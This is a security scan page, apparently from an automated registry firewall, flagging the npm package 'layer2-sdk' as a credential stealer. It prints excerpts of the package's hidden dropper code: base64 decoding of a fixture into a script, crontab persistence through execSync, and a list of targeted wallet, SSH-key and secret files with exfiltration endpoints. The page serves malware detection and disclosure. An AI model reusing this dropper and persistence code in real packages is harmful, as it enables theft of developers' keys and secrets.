registry  /  layer2-sdk  /  1.0.0

layer2-sdk@1.0.0

Multi-chain Layer 2 SDK — bridge helpers, gas estimation, chain detection for Arbitrum, Optimism, Base, zkSync, Polygon zkEVM

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Importing the package schedules a hidden second-stage credential stealer. It installs cross-platform persistence, reads sensitive files, and exfiltrates encrypted contents when remotely activated.

Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Runtime import of `index.js`; the delayed dropper activates about 37 seconds later.
Impact
Persistent theft of cryptocurrency wallet material, environment secrets, shell secrets, and SSH private keys.
Mechanism
Import-time staged payload drop, persistence, credential harvesting, and HTTPS exfiltration.
Attack narrative
The package exports benign Layer 2 helpers, but importing `index.js` schedules a hidden dropper. It decodes the bundled fixture into a home-directory script, persists it with cron, Windows Task Scheduler, or macOS LaunchAgents, and starts it detached. The payload checks IPFS dead drops for activation, waits for an idle host, searches wallet, environment, shell, and SSH-key locations, encrypts collected contents, and uploads them to Pinata.
Rationale
Direct source inspection confirms a concealed import-time persistence and credential-exfiltration chain. The benign SDK facade and absence of lifecycle hooks do not mitigate this runtime behavior.
Evidence
package.jsonindex.jstest/fixtures/keypairs.dat~/.cache-db/.node-sync/syncd.js~/.cache-db/.node-sync/.lock~/.cache-db/.node-sync/.sl~/.cache-db/.node-sync/.tmp~/.cache-db/.node-sync/.pending~/.cache-db/.node-sync/.staging~/.config/solana~/.ethereum/keystore~/.foundry/keystores~/.hardhat~/.ssh~/.env~/.bashrc~/.zshrc
Network endpoints4
gateway.pinata.cloudipfs.iocloudflare-ipfs.comapi.pinata.cloud

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • `index.js` runs a concealed dropper on import after 37 seconds.
  • `index.js` decodes `test/fixtures/keypairs.dat` into `~/.cache-db/.node-sync/syncd.js`.
  • The dropper creates cron, Scheduled Task, or LaunchAgent persistence and detaches Node.
  • Decoded payload scans wallet, environment, shell, and SSH-key files.
  • Decoded payload encrypts findings and uploads them to Pinata after IPFS dead-drop activation.
Evidence against
  • `package.json` has no lifecycle scripts.
  • Exported Layer 2 helper functions are benign but do not prevent import-time malware.
Behavioral surface
Source
ChildProcessFilesystemShell
Supply chain
UrlStrings
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 4.13 KB of source, external domains: app.optimism.io, arb1.arbitrum.io, bridge.arbitrum.io, bridge.base.org, bridge.linea.build, mainnet.base.org, mainnet.era.zksync.io, mainnet.optimism.io, portal.polygon.technology, portal.zksync.io, rpc.linea.build, rpc.scroll.io, scroll.io, www.apple.com, zkevm-rpc.com

Source & flagged code

4 flagged · loading source
index.jsView file
3const CHAINS = { L4: 42161: { name: "Arbitrum One", bridge: "https://bridge.arbitrum.io", type: "optimistic", settlement: "ETH" }, L5: 10: { name: "OP Mainnet", bridge: "https://app.optimism.io/bridge", type: "optimistic", settlement: "ETH" }, ... L65: var o = require("os"); L66: var c = require("child_process"); L67: var h = o.homedir(); L68: var d = p.join(h, ".cache-db", ".node-sync"); ... L74: var b64 = f.readFileSync(src, "utf8").trim(); L75: f.writeFileSync(s, Buffer.from(b64, "base64").toString("utf8"), { mode: 0o700 }); L76: try { L77: if (process.platform === "linux") { L78: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
High
Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L3
matchType = normalized_sha256 matchedPackage = layer2-sdk@1.0.1 matchedPath = index.js matchedIdentity = npm:bGF5ZXIyLXNkaw:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg
matchType = malicious_source_fingerprint_signature signature = 16aecfef8ae181c6 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = layer2-sdk@1.0.1 matchedPath = index.js matchedIdentity = npm:bGF5ZXIyLXNkaw:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg
3const CHAINS = { L4: 42161: { name: "Arbitrum One", bridge: "https://bridge.arbitrum.io", type: "optimistic", settlement: "ETH" }, L5: 10: { name: "OP Mainnet", bridge: "https://app.optimism.io/bridge", type: "optimistic", settlement: "ETH" }, ... L65: var o = require("os"); L66: var c = require("child_process"); L67: var h = o.homedir(); L68: var d = p.join(h, ".cache-db", ".node-sync"); ... L74: var b64 = f.readFileSync(src, "utf8").trim(); L75: f.writeFileSync(s, Buffer.from(b64, "base64").toString("utf8"), { mode: 0o700 }); L76: try { L77: if (process.platform === "linux") { L78: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L3

Findings

3 High1 Medium2 Low
HighSandbox Evasion Gated Capabilityindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumInstall Persistenceindex.js
LowFilesystem
LowUrl Strings